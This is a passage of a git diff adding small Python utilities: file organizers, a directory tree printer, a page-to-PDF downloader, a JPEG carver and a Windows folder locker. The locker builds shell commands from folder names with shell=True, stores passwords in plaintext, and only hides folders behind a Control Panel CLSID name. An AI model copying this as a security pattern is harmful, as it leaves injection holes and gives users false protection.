+ '/Web', path() + '/Source-codes',] - -print("This will organize your files to different directories according to their type!!") -print("Are you sure you want to continue? (y/n)") -flag = input('>>>') -if flag.lower() == 'y': - try: - for d in directories: - os.mkdir(d) - except FileExistsError: - pass - - for files in os.listdir(path()): - dot = (files.rfind('.')) - if dot is not 0 and dot is not -1: - if files[dot:].lower() in music: - os.rename(path() + '/' + files, path() + '/Music/' + files) - if files[dot:].lower() in picture: - os.rename(path() + '/' + files, path() + '/Pictures/' + files) - if files[dot:].lower() in documents: - os.rename(path() + '/' + files, path() + '/Documents/' + files) - if files[dot:].lower() in compressed: - os.rename(path() + '/' + files, path() + - '/Compressed/' + files) - if files[dot:].lower() in video: - os.rename(path() + '/' + files, path() + '/Video/' + files) - if files[dot:].lower() in web: - os.rename(path() + '/' + files, path() + '/Web/' + files) - if files[dot:].lower() in source: - os.rename(path() + '/' + files, path() + '/Source-codes/' + files) - - for d in directories: - if os.listdir(d) is None: - os.removedirs(d) -else: - print("Exiting") - os.sys.exit(0) +folder_ex = { + 'Programming Files': set(['ipynb', 'py', 'java', 'cs', 'js', 'vsix', 'jar', 'cc', 'ccc', 'html', 'xml', 'kt']), + 'Compressed': set(['zip', 'rar', 'arj', 'gz', 'sit', 'sitx', 'sea', 'ace', 'bz2', '7z']), + 'Applications': set(['exe', 'msi', 'deb', 'rpm']), + 'Pictures': set(['jpeg', 'jpg', 'png', 'gif', 'tiff', 'raw', 'webp', 'jfif', 'ico', 'psd', 'svg', 'ai']), + 'Videos': set(['mp4', 'webm', 'mkv', 'MPG', 'MP2', 'MPEG', 'MPE', 'MPV', 'OGG', 'M4P', 'M4V', 'WMV', 'MOV', 'QT', 'FLV', 'SWF', 'AVCHD', 'avi', 'mpg', 'mpe', 'mpeg', 'asf', 'wmv', 'mov', 'qt', 'rm']), + 'Documents': set(['txt', 'pdf', 'doc', 'xlsx', 'pdf', 'ppt', 'pps', 'docx', 'pptx']), + 'Music': set(['mp3', 'wav', 'wma', 'mpa', 'ram', 'ra', 'aac', 'aif', 'm4a', 'tsa']), + 'Torrents': set(['torrent']), + 'Other': set([]) +} + + +def create_folders(): + '''Creates the required folders to organize files ('Pictures', 'Videos'..). + ''' + for root in folder_ex: + try: + os.mkdir(root) + print(f'{root:20} Created ✔') + except OSError: + print(f'{root:20} Already Exists') + + +def get_folder(ext): + '''Returns the Folder that corresponds to the given extension. + + Args: + ext (String): The extension of the file. + + Returns: + String: The name of the Folder that holds the ext. + ''' + for f, ex in folder_ex.items(): + if ext in ex: + return f + return 'Other' + + +def start(): + '''Organize files on the current directory, each to the corresponding folder. + ''' + for filename in os.listdir(): + # Check it's not filemover.py, a hidden file or a directory + if filename != __file__ and filename[0] != '.' and '.' in filename: + ext = os.path.basename(filename).split('.')[-1] + folder = get_folder(ext) + if not os.path.isfile(os.path.join(folder, filename)): + move(filename, folder) + + +if __name__ == '__main__': + create_folders() + start() \ No newline at end of file diff --git a/Directory_Tree_Generator/README.md b/Directory_Tree_Generator/README.md new file mode 100644 index 00000000..6054ff9d --- /dev/null +++ b/Directory_Tree_Generator/README.md @@ -0,0 +1,116 @@ + +# Directory Tree Visualizer + +This project is useful for visualizing the relationship between files and directories and making their positioning easy to comprehend. + +## Libraries Used + +* Docopt +* Argparse +* os +* walkdir + +## Usage + +Directory Tree Generator depends on third party libraries and you will first need to install the application's dependencies: + +```bash +pip install walkdir +``` + +## Run Locally + +Clone the project + +```bash + git clone https://github.com/hastagAB/Awesome-Python-Scripts.git +``` + +Go to the project directory + +```bash + cd Awesome-Python-Scripts\Directory_Tree_Generator +``` + +Run ```directory_tree_generator.py```. You will have to provide the absolute path of the directory you want to visualize + +```python + python directory_tree_generator.py "path\to\directory" +``` + +A full visualizer would be displayed along with the levels. + +```bash + 1 - D:\\Cheatsheet Template + 2 - CPP + 3 - Beginnig Level Programs + 4 - index.html + 4 - prism.css + 4 - prism.js + 4 - style.css + 3 - New Category 2 + 4 - index.html + 4 - prism.css + 4 - prism.js + 4 - style.css + 3 - New Category 3 + 4 - index.html + 4 - prism.css + 4 - prism.js + 4 - style.css + 3 - New Category4 + 4 - index.html + 4 - prism.css + 4 - prism.js + 4 - style.css + 2 - Python + 3 - Arrays + 4 - index.html + 4 - prism.css + 4 - prism.js + 4 - style.css + 3 - Easy String prog + 4 - index.html + 4 - prism.css + 4 - prism.js + 4 - style.css + 3 - File Handling Programs + 4 - index.html + 4 - prism.css + 4 - prism.js + 4 - style.css + 3 - Good Programs to Practise + 4 - index.html + 4 - prism.css + 4 - prism.js + 4 - style.css + 3 - Miscellaneous + 4 - index.html + 4 - prism.css + 4 - prism.js + 4 - style.css + 3 - New Category 3 (another copy) + 4 - index.html + 4 - prism.css + 4 - prism.js + 4 - style.css + 3 - New Category 3 (copy) + 4 - index.html + 4 - prism.css + 4 - prism.js + 4 - style.css + 3 - Regex Programs + 4 - index.html + 4 - prism.css + 4 - prism.js + 3 - Searching Algorithm + 4 - index.html + 4 - prism.css + 4 - prism.js + 4 - style.css + 3 - Sorting Algortihm + 4 - index.html + 4 - prism.css + 4 - prism.js + 4 - style.css +``` diff --git a/Directory_Tree_Generator/directory_tree_generator.py b/Directory_Tree_Generator/directory_tree_generator.py new file mode 100644 index 00000000..175d3a10 --- /dev/null +++ b/Directory_Tree_Generator/directory_tree_generator.py @@ -0,0 +1,72 @@ +""" A Python directory tree generator tool for your command line. + The application will take a directory path as an argument at the + command line and display a directory tree diagram on your screen. """ +import argparse +import os +from walkdir import filtered_walk + + +parser = argparse.ArgumentParser( + description='Print the directory-tree code for the LaTeX dirtree package.') +parser.add_argument(dest='path', type=str, help="Root directory of the tree") +parser.add_argument('-d', '--maxDepth', dest='maxDepth', + type=int, help="Max depth for tree expansion") +parser.add_argument('-H', '--includeHidden', dest='includeHidden', + action='store_true', help='Include hidden files') +parser.add_argument('-S', '--includeSystem', dest='includeSystem', + action='store_true', help='Include system files') +system_file_names = [".DS_Store"] + + +def delete_trailing_slash(path_name): + """ Delete trailing slash which might otherwise lead to errors """ + while path_name.endswith('/'): + path_name = path_name[:-1] + return path_name + + +def get_relative_depth(dir_path, level_offset): + """ Count how many levels deep is the directory with respect to dirRoot """ + return dir_path.count(os.path.sep) - level_offset + + +def escape_illegal(name): + """ Escape illegal symbols for LaTeX """ + illegal_char_array = ['\\', '&', '%', '$', '#', '_', '{', '}', '~', '^'] + for char in illegal_char_array: + name = name.replace(char, "\\" + char) + return name + + +rootDir = delete_trailing_slash(parser.parse_args().path) +includeHidden = parser.parse_args().includeHidden +includeSystem = parser.parse_args().includeSystem +maxDepth = parser.parse_args().maxDepth + +# Check if the directory exists +if os.path.isdir(rootDir) and os.path.exists(rootDir): + INDENT_CHAR = " " + # Depth of the root (i.e. number of "/") + levelOffset = rootDir.count(os.path.sep) - 1 + # Create filter + excluded_filter = [] + if not includeHidden: + excluded_filter.append(".*") + if not includeSystem: + excluded_filter += system_file_names + for dirName, subdirList, fileList in sorted(filtered_walk( + rootDir, depth=maxDepth, excluded_dirs=excluded_filter, + excluded_files=excluded_filter)): + level = get_relative_depth(dirName, levelOffset) + baseName = os.path.basename(dirName) + if level == 1: # for the first level only print the whole path + print(INDENT_CHAR + str(level) + " - " + escape_illegal(dirName)) + else: + print((INDENT_CHAR * level + str(level) + + " - " + escape_illegal((os.path.basename(dirName))))) + level += 1 + for fileName in sorted(fileList): + print(INDENT_CHAR * level + str(level) + " - " + + escape_illegal(fileName)) +else: + print("Error: root directory not found") diff --git a/Directory_Tree_Generator/requirements.txt b/Directory_Tree_Generator/requirements.txt new file mode 100644 index 00000000..e51622e7 --- /dev/null +++ b/Directory_Tree_Generator/requirements.txt @@ -0,0 +1 @@ +walkdir==0.4.1 diff --git a/Download-page-as-pdf/README.md b/Download-page-as-pdf/README.md new file mode 100644 index 00000000..b0ab79aa --- /dev/null +++ b/Download-page-as-pdf/README.md @@ -0,0 +1,24 @@ +# Download Page as PDF: + +Download a page as a PDF . + + #### Required Modules : + - pyppdf + ```bash + pip3 install pyppdf + ``` + - pyppyteer + ```bash + pip3 install pyppeteer + ``` + + #### Examples of use : + - Download a page: + ```bash + python download-page-as-pdf.py -l 'www.pudim.com.br' + ``` + + - Download a page and give a pdf name: + ```bash + python download-page-as-pdf.py -l 'http://www.pudim.com.br' -n 'pudim.pdf' + ``` diff --git a/Download-page-as-pdf/download-page-as-pdf.py b/Download-page-as-pdf/download-page-as-pdf.py new file mode 100644 index 00000000..5e26c877 --- /dev/null +++ b/Download-page-as-pdf/download-page-as-pdf.py @@ -0,0 +1,42 @@ +#!/usr/bin/python +# -*- coding: UTF-8 -*- + +import argparse +import pyppdf +import re +from pyppeteer.errors import PageError, TimeoutError, NetworkError + + +def main(): + parser = argparse.ArgumentParser(description = 'Page Downloader as PDF') + parser.add_argument('--link', '-l', action = 'store', dest = 'link', + required = True, help = 'Inform the link to download.') + parser.add_argument('--name', '-n', action = 'store', dest = 'name', + required = False, help = 'Inform the name to save.') + + arguments = parser.parse_args() + + url = arguments.link + + if not arguments.name: + name = re.sub(r'^\w+://', '', url.lower()) + name = name.replace('/', '-') + else: + name = arguments.name + + if not name.endswith('.pdf'): + name = name + '.pdf' + + print(f'Name of the file: {name}') + + try: + pyppdf.save_pdf(name, url) + except PageError: + print('URL could not be resolved.') + except TimeoutError: + print('Timeout.') + except NetworkError: + print('No access to the network.') + +if __name__ == '__main__': + main() diff --git a/Download-page-as-pdf/requirements.txt b/Download-page-as-pdf/requirements.txt new file mode 100644 index 00000000..89960d91 --- /dev/null +++ b/Download-page-as-pdf/requirements.txt @@ -0,0 +1,2 @@ +pyppdf==0.1.2 +pyppeteer==0.2.2 diff --git a/FileMagic_Organizer/README.md b/FileMagic_Organizer/README.md new file mode 100644 index 00000000..858458d7 --- /dev/null +++ b/FileMagic_Organizer/README.md @@ -0,0 +1,61 @@ +## FileMagic Organizer - Unleash the Power of Order + +Welcome to FileMagic Organizer, where chaos meets its match. This Python script is your ally in the battle against cluttered directories. FileMagic Organizer effortlessly sorts your files into designated categories, bringing harmony to the digital realm. + +## Index +- [Introduction](#) +- [Key Features](#key-features) +- [Getting Started](#getting-started) +- [Options provided](#options-provided) +- [Usage](#usage) +- [Customization](#customization) + +## Key Features: + +- 🔮 **Magical Categorization:** FileMagic Organizer intelligently sorts files by type, creating a structured and easily navigable file system. + +- 📅 **Chronological Arrangement:** Dive into the past with chronological organization, unveiling the history of your files in an orderly timeline. + +📏 **Size-based Sorting:** Experience the wizardry of size-based categorization, with files neatly grouped into small, medium, and large categories. + +## **Getting Started:** + +1. ⚡ **Clone the Repository:** Embrace the magic by cloning the FileMagic Organizer repository. + +2. 🚀 **Install Dependencies:** Initiate the enchantment with a quick installation of the required Python libraries. + +3. ✨ **Run the Magic Spell:** Execute the script, follow the prompts, and witness the transformation as FileMagic Organizer weaves its organizational magic. + +## Options provided + +- Organize files by type (e.g., images, documents, videos). +- Organize files by creation date into a hierarchical structure of year and month. +- Categorize files by size into small, medium, and large categories. + +## Usage + +1. **Clone the Repository:** + + ```bash + git clone https://github.com/malivinayak/file-organizer.git + cd file-organizer + ``` + +2. **Install Dependencies:** + + Ensure you have Python installed. Install the required libraries: + + ```bash + pip install -r requirements.txt + ``` + +3. **Run the Script:** + + ```bash + python organize_files.py + ``` + +## Customization + +- Adjust the file type categories, file extensions, and any other settings in the script based on your needs. +- Modify the size categories and ranges in the script for organizing files by size. diff --git a/FileMagic_Organizer/main.py b/FileMagic_Organizer/main.py new file mode 100644 index 00000000..d18be31e --- /dev/null +++ b/FileMagic_Organizer/main.py @@ -0,0 +1,104 @@ +import os +import shutil +import datetime + +def categorize_by_size(file_size): + # Define size categories and their ranges in bytes + size_categories = { + 'small': (0, 1024), # Up to 1 KB + 'medium': (1025, 1024 * 1024), # 1 KB to 1 MB + 'large': (1024 * 1025, float('inf')) # Larger than 1 MB + } + + for category, (min_size, max_size) in size_categories.items(): + if min_size <= file_size < max_size: + return category + + return 'unknown' + +def organize_files(source_dir, destination_dir, organize_by_type=True, organize_by_date=True, organize_by_size=True): + # Create a dictionary to map file extensions to corresponding folders + file_types = { + 'images': ['.png', '.jpg', '.jpeg', '.gif'], + 'documents': ['.pdf', '.docx', '.txt'], + 'videos': ['.mp4', '.avi', '.mkv'], + 'other': [] # Add more categories and file extensions as needed + } + + # Create destination subdirectories if they don't exist + if organize_by_type: + for folder in file_types: + folder_path = os.path.join(destination_dir, folder) + os.makedirs(folder_path, exist_ok=True) + + if organize_by_date: + for year in range(2010, 2030): # Adjust the range based on your needs + year_folder = os.path.join(destination_dir, str(year)) + os.makedirs(year_folder, exist_ok=True) + + for month in range(1, 13): + month_folder = os.path.join(year_folder, f"{month:02d}") + os.makedirs(month_folder, exist_ok=True) + + if organize_by_size: + for size_category in ['small', 'medium', 'large']: + size_folder = os.path.join(destination_dir, size_category) + os.makedirs(size_folder, exist_ok=True) + + # Scan the source directory and organize files + for filename in os.listdir(source_dir): + file_path = os.path.join(source_dir, filename) + + if os.path.isfile(file_path): + # Determine the file type based on extension + file_type = None + for category, extensions in file_types.items(): + if any(filename.lower().endswith(ext) for ext in extensions): + file_type = category + break + + if organize_by_type and file_type: + # Move the file to the corresponding subdirectory + destination_folder = os.path.join(destination_dir, file_type) + destination_path = os.path.join(destination_folder, filename) + shutil.move(file_path, destination_path) + print(f"Moved: {filename} to {file_type} folder") + + if organize_by_date: + # Get the creation date of the file + creation_time = os.path.getctime(file_path) + creation_date = datetime.datetime.fromtimestamp(creation_time) + + # Determine the destination folder based on creation date + destination_folder = os.path.join( + destination_dir, + str(creation_date.year), + f"{creation_date.month:02d}", + ) + + # Move the file to the corresponding subdirectory + destination_path = os.path.join(destination_folder, filename) + shutil.move(file_path, destination_path) + print(f"Moved: {filename} to {creation_date.year}/{creation_date.month:02d} folder") + + if organize_by_size: + # Get the size of the file in bytes + file_size = os.path.getsize(file_path) + + # Determine the destination folder based on file size + size_category = categorize_by_size(file_size) + destination_folder = os.path.join(destination_dir, size_category) + destination_path = os.path.join(destination_folder, filename) + shutil.move(file_path, destination_path) + print(f"Moved: {filename} to {size_category} folder") + +# Get source and destination directories from the user +source_directory = input("Enter the source directory path: ") +destination_directory = input("Enter the destination directory path: ") + +# Ask the user how they want to organize the files +organize_by_type = input("Organize by file type? (yes/no): ").lower() == 'yes' +organize_by_date = input("Organize by creation date? (yes/no): ").lower() == 'yes' +organize_by_size = input("Organize by size? (yes/no): ").lower() == 'yes' + +organize_files(source_directory, destination_directory, organize_by_type, organize_by_date, organize_by_size) diff --git a/File_Carving/Images/Output.PNG b/File_Carving/Images/Output.PNG new file mode 100644 index 00000000..26e711a0 Binary files /dev/null and b/File_Carving/Images/Output.PNG differ diff --git a/File_Carving/Images/test_image.jpg b/File_Carving/Images/test_image.jpg new file mode 100644 index 00000000..88d6a958 Binary files /dev/null and b/File_Carving/Images/test_image.jpg differ diff --git a/File_Carving/README.MD b/File_Carving/README.MD new file mode 100644 index 00000000..3a453c8e --- /dev/null +++ b/File_Carving/README.MD @@ -0,0 +1,28 @@ +# File Carving +> **Note:** This version only supports jpg/jpeg file carving. + +This script recursively finds files in the folder and carves files with jpg/jpeg file signature. + +## Usage + +1. Clone this repository + ``` + git clone https://github.com/hastagAB/Awesome-Python-Scripts.git + ``` +2. Move to File_Carving directory + ``` + cd File_Carving + ``` +3. Install reqired package + ``` + pip install -r requirements.txt + ``` +5. Run carving.py + ``` + python carving.py + ``` + +## Example +![Output](https://user-images.githubusercontent.com/76420409/139208797-b4417848-f184-4f65-869f-1c6e061cf3c8.PNG) + + diff --git a/File_Carving/carving.py b/File_Carving/carving.py new file mode 100644 index 00000000..15c2bb0a --- /dev/null +++ b/File_Carving/carving.py @@ -0,0 +1,93 @@ +import os +import binascii + +# var: jpeg signature header +# var: jpeg signature footer +header = "\\xff\\xd8\\xff" +footer = "\\xff\\xd9" + +global file_cnt +file_cnt = 0 +global dir_cnt +dir_cnt = 0 + +# dir read +def fileSearch(dir_path, cnt): + global file_cnt + global dir_cnt + filelist = [] + + for _ in range(cnt): + print("\t", end=" ") + print("[>] Directory: %s" % dir_path) + for files in os.listdir(dir_path): + if os.path.isfile(dir_path+files): + filelist.append(dir_path+files) + for _ in range(cnt): + print("\t", end=" ") + print("[+] File Name: %s" % files) + file_cnt+=1 + elif os.path.isdir(dir_path+files): + for i in range(cnt): + print("\t", end=" ") + print("[!] SubDirectory: \"%s\" found. Start file search in this directory." % files) + filelist.extend(fileSearch(dir_path+files+"/", cnt+1)) + dir_cnt+=1 + + return filelist + +# file open and store carved file +def Carving(file_list): + cnt = 0 + carv_list = [] + print("====================Carving Start====================") + for i in range(len(file_list)): + file = open(file_list[i], 'rb') + carv_cont = findSignature(file) + print("[-] ", file_list[i], " File passed") + + if (len(carv_cont) != 0): + carv = open('carv'+str(cnt)+'.jpeg', 'wb') + for j in range(len(carv_cont)): + carv.write(carv_cont[j]) + print('[*] carv',str(cnt),'.jpeg is created!') + carv_list.append('carv'+str(cnt)+'.jpeg') + cnt+=1 + carv.close + + file.close + return carv_list + +# find signature +def findSignature(file): + flag = 0 + contents = [] + + while(1): + buf = file.read(0x200) + file.tell() + if(len(buf)==0): break + if(flag != 1): + ishead = (str(buf[:3]).split('\'')[1]) + if (header == ishead) and (flag == 0): + contents.append(buf) + flag = 1 + else: + if(footer in (str(buf[-2:]).split('\'')[1])): + contents.append(buf) + return contents + else: + contents.append(buf) + return contents + + +# main +if __name__ == "__main__": + print("==================File Search Start==================") + fl = fileSearch("./", 0) + print(f'\nSEARCH RESULT: %d Files. %d Directory.' % (file_cnt, dir_cnt)) + print("Filelist: %s\n" % fl) + c1 = Carving(fl) + print("Carvlist: %s\n" % c1) + + print("Exit...") \ No newline at end of file diff --git a/File_Carving/requirements.txt b/File_Carving/requirements.txt new file mode 100644 index 00000000..2f5c8c68 --- /dev/null +++ b/File_Carving/requirements.txt @@ -0,0 +1,2 @@ +os +binascii \ No newline at end of file diff --git a/Folder Locker & Hider/app.png b/Folder Locker & Hider/app.png new file mode 100644 index 00000000..9ac0d56a Binary files /dev/null and b/Folder Locker & Hider/app.png differ diff --git a/Folder Locker & Hider/application.pyw b/Folder Locker & Hider/application.pyw new file mode 100644 index 00000000..e5bcbbc8 --- /dev/null +++ b/Folder Locker & Hider/application.pyw @@ -0,0 +1,223 @@ +import locker + +import os +import tkinter as tk +from tkinter import PhotoImage +from tkinter import messagebox +from tkinter import filedialog + +cwd = os.getcwd() +if not os.path.exists('files/'): + os.mkdir('files') + +class Application(tk.Frame): + def __init__(self, master): + super().__init__(master=master) + self.master = master + self.pack() + + self.title_frame() + self.main_frame() + self.status_frame() + + self.folder_path = '' + self.fname = '' + + def title_frame(self): + self.title = tk.Label(self, bg='gray',font=("Helvetica", 14), anchor='w') + self.title.configure(width=35, height=3) + self.title['text'] = '\t Folder Locker / Unlocker' + self.title.grid(row=0, column=0, columnspan=2) + + def body_frame(self): + self.body = tk.Frame(self, width=390, height=230) + self.body.grid(row=1, column=0, columnspan=2, pady=10) + + def status_frame(self): + self.status = tk.Text(self, width=50, height=3, fg='dodger blue') + self.status.insert(tk.END, 'The folder you lock will be hidden automatically\n') + self.status.insert(tk.END, 'Use the app to unlock it back') + self.status.configure(state='disabled') + self.status.grid(row=2, column=0, columnspan=2) + + def main_frame(self): + self.body_frame() + + self.lock_button = tk.Button(self.body, font =('Verdana', 15), command=self.lock_frame) + self.lock_button['image'] = lock_icon + self.lock_button['compound'] = tk.TOP + self.lock_button['text'] = 'Lock \nFolder' + self.lock_button.configure(width=120, height=120) + self.lock_button.grid(row=0, column=0, padx=(0,30), pady=(20,7)) + + self.unlock_button = tk.Button(self.body, font =('Verdana', 15), command=self.unlock_frame) + self.unlock_button['image'] = unlock_icon + self.unlock_button['compound'] = tk.TOP + self.unlock_button['text'] = ' Unlock \nFolder' + self.unlock_button.configure(width=120, height=120) + self.unlock_button.grid(row=0, column=1, padx=(30,0), pady=(20,7)) + + def lock_frame(self): + self.body.destroy() + self.body_frame() + + self.status.configure(state='normal') + self.status.delete(1.0, tk.END) + self.status.insert(tk.END, 'Choose a folder, enter password and click lock\n') + self.status.insert(tk.END, 'folder to lock and hide the folder') + self.status.configure(state='disabled') + + self.password = tk.StringVar() + + self.pathlabel = tk.Label(self.body, bg='white', fg='black', + borderwidth=1, relief='groove', wraplength=150) + self.pathlabel['text'] = 'Select Folder' + self.pathlabel.configure(width=22, height=3) + self.pathlabel.grid(row=0, column=0, pady=10, padx=15) + + self.choose_folder = tk.Button(self.body, image=choose_folder_icon) + self.choose_folder['command'] = self.select_folder + self.choose_folder.grid(row=0, column=1, padx=(20,5), pady=10) + + self.back = tk.Button(self.body, image=back_icon) + self.back['command'] = self.go_back + self.back.grid(row=0, column=2, padx=(20,5), pady=10) + + self.elabel = tk.Label(self.body, anchor='e') + self.elabel['text'] = 'Enter Password' + self.elabel.grid(row=1, column=0, pady=20) + + self.entry = tk.Entry(self.body) + self.entry['textvariable'] = self.password + self.entry.grid(row=1, column=1, columnspan=2, pady=20) + + self.lock =tk.Button(self.body, bg='green', width=20) + self.lock['text'] = f'Lock Folder' + self.lock['command'] = lambda : self.lock_folder(self.folder_path) + self.lock.grid(row=2, column=0, columnspan=3) + + def unlock_frame(self): + self.body.destroy() + self.body_frame() + + self.password = tk.StringVar() + + self.pathlabel = tk.Label(self.body, bg='white', fg='black', + borderwidth=1, relief='groove', wraplength=150) + self.pathlabel['text'] = 'Select Folder' + self.pathlabel.configure(width=22, height=3) + self.pathlabel.grid(row=0, column=0, pady=2, padx=15) + + self.back = tk.Button(self.body, image=back_icon) + self.back['command'] = self.go_back + self.back.grid(row=0, column=1, padx=(20,5), pady=2) + + self.scrollbar = tk.Scrollbar(self.body, orient=tk.VERTICAL) + self.scrollbar.grid(row=0,column=3, rowspan=4, sticky='ns') + + self.list = tk.Listbox(self.body, selectmode=tk.SINGLE, + yscrollcommand=self.scrollbar.set, selectbackground='sky blue') + self.list.config(height=10) + self.enumerate_folders() + self.list.bind('', self.get_folder) + + self.scrollbar.config(command=self.list.yview) + self.list.grid(row=0, column=2, rowspan=4) + + self.elabel = tk.Label(self.body, anchor='e') + self.elabel['text'] = 'Enter Password' + self.elabel.grid(row=1, column=0, columnspan=2, pady=(1,1)) + + self.entry = tk.Entry(self.body) + self.entry['textvariable'] = self.password + self.entry.grid(row=2, column=0, columnspan=2) + + self.unlock =tk.Button(self.body, bg='green', width=20) + self.unlock['text'] = f'Unlock Folder' + self.unlock['command'] = lambda : self.unlock_folder(self.fname) + self.unlock.grid(row=3, column=0, columnspan=2, pady=(10,0)) + + def go_back(self): + self.body.destroy() + self.main_frame() + + self.status.configure(state='normal') + self.status.delete(1.0, tk.END) + self.status.insert(tk.END, 'The folder you lock will be hidden automatically\n') + self.status.insert(tk.END, 'Use the app to unlock it back') + self.status.configure(state='disabled') + + def select_folder(self): + self.folder_path = filedialog.askdirectory(initialdir=cwd) + self.pathlabel['anchor'] = 'w' + self.pathlabel['text'] = self.folder_path + + def enumerate_folders(self): + self.dct = locker.read_json() + self.folders_list = list(self.dct.keys()) + + self.status.configure(state='normal') + self.status.delete(1.0, tk.END) + + if len(self.folders_list) > 0: + for index, fname in enumerate(self.folders_list): + self.list.insert(index, fname) + self.status.insert(tk.END, 'Choose a folder, enter password and click unlock\n') + self.status.insert(tk.END, 'folder to unlock the folder') + else: + self.status.insert(tk.END, '0 folders locked yet\n') + + self.status.configure(state='disabled') + + def get_folder(self, event): + if event is not None: + self.current = self.list.curselection()[0] + self.folder_path = self.dct[self.folders_list[self.current]][0] + self.key = self.dct[self.folders_list[self.current]][1] + self.pathlabel['text'] = self.folder_path + + def lock_folder(self, path): + password = self.entry.get() + if not self.folder_path == '': + if len(password) <= 4: + messagebox.showerror('Failed to lock', 'password is too short') + else: + status = locker.lock(self.folder_path, password) + if status == 'failed': + messagebox.showerror('Failed to lock', 'A folder with this name already locked') + else: + messagebox.showinfo('Folder status', 'Locked successfully') + self.password.set('') + self.pathlabel['anchor'] = 'c' + self.pathlabel['text'] = 'Select Folder' + + def unlock_folder(self, fname): + password = self.entry.get() + if not self.folder_path == '': + if len(password) <= 4: + messagebox.showerror('Failed to unlock', 'password is too short') + else: + status = locker.unlock(self.folder_path, password, self.key) + if status == 'failed': + messagebox.showerror('Failed to unlock', 'Incorrect Password') + else: + messagebox.showinfo('Folder status', 'Folder unlocked successfully') + self.password.set('') + self.pathlabel['anchor'] = 'c' + self.pathlabel['text'] = 'Select Folder' + self.list.delete(0, tk.END) + self.enumerate_folders() + +if __name__ == '__main__': + root = tk.Tk() + root.geometry('400x305') + root.title('Folder Locker/Unlocker') + root.resizable(0,0) + + lock_icon = PhotoImage(file='icons/lock.png').subsample(2,2) + unlock_icon = PhotoImage(file='icons/unlock.png').subsample(2,2) + back_icon = PhotoImage(file='icons/back.png') + choose_folder_icon = PhotoImage(file='icons/choose_folder.png') + + app = Application(master=root) + app.mainloop() \ No newline at end of file diff --git a/Folder Locker & Hider/icons/back.png b/Folder Locker & Hider/icons/back.png new file mode 100644 index 00000000..e1de7731 Binary files /dev/null and b/Folder Locker & Hider/icons/back.png differ diff --git a/Folder Locker & Hider/icons/choose_folder.png b/Folder Locker & Hider/icons/choose_folder.png new file mode 100644 index 00000000..a5b9198e Binary files /dev/null and b/Folder Locker & Hider/icons/choose_folder.png differ diff --git a/Folder Locker & Hider/icons/lock.png b/Folder Locker & Hider/icons/lock.png new file mode 100644 index 00000000..76fb331d Binary files /dev/null and b/Folder Locker & Hider/icons/lock.png differ diff --git a/Folder Locker & Hider/icons/unlock.png b/Folder Locker & Hider/icons/unlock.png new file mode 100644 index 00000000..d0cfa05e Binary files /dev/null and b/Folder Locker & Hider/icons/unlock.png differ diff --git a/Folder Locker & Hider/locker.py b/Folder Locker & Hider/locker.py new file mode 100644 index 00000000..7d19a35e --- /dev/null +++ b/Folder Locker & Hider/locker.py @@ -0,0 +1,84 @@ +import os +import json +import shelve +import random +import subprocess + +def read_json(): + json_file = 'files/locked_folders.json' + if os.path.exists(json_file): + with open(json_file, 'r') as file: + dct = json.load(file) + else: + dct = {} + + return dct + +def write_to_json(data): + json_file = 'files/locked_folders.json' + with open(json_file, 'w') as file: + json.dump(data, file) + +def get_from_json(fname): + dct = read_json() + return dct.get(fname, None) + +# Locker/Unlocker ---------------------------------------------------------------- + +def generate_key(): + string = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890' + keygen = random.sample(string, 12) + return ''.join(keygen) + +def lock(fpath, password): + key = generate_key() + + fname = os.path.basename(fpath) + cwd = '/'.join(fpath.split('/')[:-1]) + '/' + command1 = 'ren ' + fname + ' "Control Panel.{21EC2020-3AEA-1069-A2DD-' + key + '}"' + command2 = 'attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-' + key + '}"' + + dct = read_json() + + if not fname in dct.keys(): + dct[fname] = [fpath, key] + write_to_json(dct) + + with shelve.open('files/pwd') as pwd_manager: + pwd_manager[fname] = password + + subprocess.call(command1, shell=True, cwd=cwd) + subprocess.call(command2, shell=True, cwd=cwd) + + status = 'locked' + else: + status = 'failed' + + return status + + +def unlock(fpath, password, key): + fname = os.path.basename(fpath) + cwd = '/'.join(fpath.split('/')[:-1]) + '/' + command1 = 'attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-' + key + '}"' + command2 = 'ren "Control Panel.{21EC2020-3AEA-1069-A2DD-' + key + '}" ' + fname + + with shelve.open('files/pwd') as pwd_manager: + pass_ = pwd_manager[fname] + + if pass_ == password: + dct = read_json() + del dct[fname] + write_to_json(dct) + + subprocess.call(command1, shell=True, cwd=cwd) + subprocess.call(command2, shell=True, cwd=cwd) + + with shelve.open('files/pwd') as pwd_manager: + del pwd_manager[fname] + + status = 'unlocked' + else: + status = 'failed' + + return status \ No newline at end of file diff --git a/Folder Locker & Hider/readme.md b/Folder Locker & Hider/readme.md new file mode 100644 index 00000000..c21cedab --- /dev/null +++ b/Folder Locker & Hider/readme.md @@ -0,0 +1,39 @@ +# Folder Locker & Hider + +[![forthebadge](https://forthebadge.com/images/badges/built-with-love.svg)](https://forthebadge.com) +[![forthebadge](https://forthebadge.com/images/badges/built-with-swag.svg)](https://forthebadge.com) +[![forthebadge](https://forthebadge.com/images/badges/made-with-python.svg)](https://forthebadge.com) + +Folder Locker & Hider is a simple python tkinter based application to lock / unlock and hide folders +using simple windows property + +![Alt text](app.png?raw=true "Folder Locker & Hider") + +This app is only for windows platform + +## How to Download + +Download this project from here [Download Folder Locker & Hider](https://downgit.github.io/#/home?url=https://github.com/pyGuru123/Tkinter-Applications/tree/master/Folder%20Locker%20%26%20Hider) + +## Requirements + + No external package is required + +## Usage + +Double click the application.pyw script to open the GUI application, then + +to lock folder: + click the lock folder button, select the folder that you want to lock, enter a password and then click lock folder button to lock the folder, the folder will now be hidden automatically. + + password should be greater than 4 digits in length, the locked folder can only be unlocked by using this app, also the folder will not show wven when show hidden items is checked + +to unlock folder: + click the unlock folder button, select the locked folder name from the listbox on the right [double click it], then enter the correct password and unlock it by click the unlock folder button. + The folder will now be unhidden automatically + + +## Contributing +Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change. + +Please make sure to update tests as appropriate. \ No newline at end of file diff --git a/Get_Time_TimezoneWise/README.md b/Get_Time_TimezoneWise/README.md new file mode 100644 index 00000000..f5d11f9e --- /dev/null +++ b/Get_Time_TimezoneWise/README.md @@ -0,0 +1,10 @@ +# How To Use: + +First Install pytz Library, If You Have Already Installed It Then You Are Good To Go :) + +Well For Those Who Haven't Installed It, Install It Using: +```python +pip install pytz +``` + +Now Simply Run The Program To Fetch Time From All Timezones :) diff --git a/Get_Time_TimezoneWise/get_times.py 